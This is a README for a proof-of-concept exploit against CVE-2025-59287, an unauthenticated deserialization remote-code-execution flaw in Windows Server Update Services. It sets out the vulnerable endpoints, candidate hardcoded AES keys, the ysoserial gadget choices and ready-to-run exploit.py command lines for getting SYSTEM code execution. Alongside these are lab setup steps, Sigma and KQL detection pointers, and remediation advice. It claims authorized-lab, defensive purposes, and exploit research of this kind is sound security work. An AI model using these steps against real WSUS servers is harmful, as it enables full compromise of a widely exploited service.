Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

README.md

CVE-2025-59287 — WSUS Unauthenticated RCE (Proof of Concept)

Windows Server Update Services (WSUS) remote code execution via insecure .NET deserialization of an attacker-controlled AuthorizationCookie. Pre-auth, network-reachable, code runs as SYSTEM.

⚠️ AUTHORIZED TEST-ENVIRONMENT USE ONLY. For detection engineering and defensive validation against a WSUS lab server you own/control — isolated, snapshotted, and never internet-exposed. This was mass-exploited in the wild (CISA KEV); do not point it at anything you are not explicitly authorized to test.


1. The vulnerability

CVE CVE-2025-59287
Product Windows Server Update Services (WSUS Server Role)
Class Deserialization of Untrusted Data (CWE-502) → unauth RCE
CVSS 3.1 9.8AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Auth None (pre-authentication, over the network)
Execution context SYSTEM — inside w3wp.exe (WsusPool) or wsusservice.exe
Affected Windows Server 2012, 2012 R2, 2016, 2019, 2022, 2022 23H2, 2025 — only when the WSUS Server Role is enabled
Default ports 8530 (HTTP), 8531 (HTTPS)
Disclosed 2025-10-18 · initial fix 2025-10-14 (incomplete)
Patched out-of-band 2025-10-23 — KB5070881 (2025), KB5070879 (23H2), KB5070884 (2022), KB5070883 (2019), KB5070882 (2016), KB5070886 (2012 R2), KB5070887 (2012)
In the wild CISA KEV 2025-10-24; ~8,000 exposed servers; active mass exploitation within hours of the patch
ATT&CK T1190 (Exploit Public-Facing App), T1059.001/003 (PowerShell/cmd)

Root cause

A WSUS web service decrypts an attacker-supplied AuthorizationCookie / EncryptedData field using AES-128-CBC with a hardcoded key (zero IV), then passes the plaintext straight to a .NET formatter without validating the resulting object type. A crafted, AES-encrypted deserialization gadget chain therefore executes arbitrary code as SYSTEM.

⚠️ Two deserialization paths (be aware which you're testing)

Public analyses describe two vectors. This PoC implements the first as default and templates the second:

client (default) reporting
Endpoint /ClientWebService/Client.asmx /ReportingWebService/ReportingWebService.asmx
SOAP method GetCookie ReportEventBatch
Formatter BinaryFormatter SoapFormatter (custom binder)
Field AuthorizationCookie.CookieData ReportingEvent.MiscData
Notes Used by most public PoCs and in-the-wild AuthorizationCookie reports Code White argues this SoapFormatter path (introduced by the Oct 14 update) is the precise CVE-2025-59287 fix target

Other reachable web services that share the cookie-decryption code: /SimpleAuthWebService/SimpleAuth.asmx, /ApiRemoting30/WebService.asmx.


2. Honest caveats (read before you debug "it didn't work")

This is a deserialization exploit, so two values must exactly match the target — and public sources genuinely disagree on them:

  1. The hardcoded AES key. Public PoCs circulate two different 16-byte keys (--key hawktrace = 877C14E4…, --key garvitv14 = 5B5A583A…). If neither works against your build, extract the real key from the target's WSUS assemblies (Microsoft.UpdateServices.Internal.BaseApi.dll / …Internal.Authorization) and pass it via --key <hex>. The --salt flag toggles the 16-byte plaintext salt some builds expect.
  2. The gadget/formatter must match the deserializer. Use -f BinaryFormatter gadgets for the client endpoint and -f SoapFormatter for reporting.

A successful hit often returns HTTP 500 with a deserialization/cast exception — the SOAP method errors after your gadget already executed. That error is the signal, not a failure. Confirm execution on the target, not from the HTTP response.


3. Contents

CVE-2025-59287-PoC/
├─ README.md
├─ exploit.py                     # gadget(ysoserial) -> AES-CBC -> base64 -> SOAP -> POST
├─ requirements.txt               # requests, pycryptodome
├─ lab/
│  └─ install_wsus.ps1            # install the WSUS role to build a vulnerable target
└─ detection/
   ├─ cve-2025-59287.sigma.yml    # Sigma: WSUS proc -> shell; + suspicious POSTs
   └─ hunting.kql                 # Defender XDR / Sentinel hunting queries

The PoC does not bundle a payload generator: you supply ysoserial.net. The default command is benign (writes a proof file); change it with --cmd.


4. Lab setup

You need a real WSUS server as the target:

  1. A disposable, network-isolated Windows Server VM — snapshot it.
  2. Install the WSUS role and confirm it's UNPATCHED vs. the 2025-10-23 update:
    powershell -ExecutionPolicy Bypass -File .\lab\install_wsus.ps1
    Get-HotFix | Where-Object HotFixID -match '5070'   # should be EMPTY to be vulnerable
  3. On your attacker box: Python 3, pip install -r requirements.txt, and a copy of ysoserial.exe.

Never bind WSUS 8530/8531 to an untrusted network. The whole point of this CVE is that exposed WSUS = instant SYSTEM.


5. Run it

# benign proof-of-execution against the lab WSUS server
python exploit.py --target 10.0.0.50 --ysoserial C:\tools\ysoserial.exe

# try the other key candidate if the first build doesn't bite
python exploit.py -t 10.0.0.50 --ysoserial C:\tools\ysoserial.exe --key garvitv14

# HTTPS, custom (benign) command
python exploit.py -t wsus.lab --ssl --port 8531 --ysoserial C:\tools\ysoserial.exe \
    --cmd "cmd /c whoami > C:\poc-cve-2025-59287\proof.txt 2>&1"

# secondary SoapFormatter path (template — tune to your target)
python exploit.py -t 10.0.0.50 --endpoint reporting --gadget TypeConfuseDelegate \
    --ysoserial C:\tools\ysoserial.exe

Confirm success on the WSUS server (not from the HTTP response):

type C:\poc-cve-2025-59287\proof.txt        # default benign payload -> shows 'nt authority\system'

…and you should see the detections in §6 fire (w3wp.exe/wsusservice.execmd.exe).

For an out-of-band confirmation without touching disk, set --cmd to a benign callback you control, e.g. cmd /c nslookup poc.<your-collab-domain>.


6. Detection & remediation

Remediate: install the 2025-10-23 out-of-band update (or later) for your Server version. If you can't patch immediately, Microsoft's interim guidance was to disable the WSUS Server Role or block inbound 8530/8531 at the host firewall. Verify: Get-HotFix | ? HotFixID -match '5070'.

Detect (see detection/):

  1. Process chain (best signal): w3wp.exe (WsusPool) or wsusservice.exe spawning cmd.exe/powershell.exe/LOLBins — Sysmon EID 1 / Event ID 4688. A healthy WSUS host essentially never does this. → cve-2025-59287.sigma.yml
    • hunting.kql query #1.
  2. Server logs (IR): cast/deserialization exceptions in …\Update Services\LogFiles\SoftwareDistribution.log (ObjectManager.DoFixups, DeserializeDataSetSchema, “Exception has been thrown by the target of an invocation”); BinaryFormatter magic prefix AAEAAAD/////; large POST to the .asmx endpoints in IIS u_ex*.log.
  3. Egress: connections from the WSUS process to webhook.site / *.workers.dev / DNS beacons → hunting.kql query #3.

7. References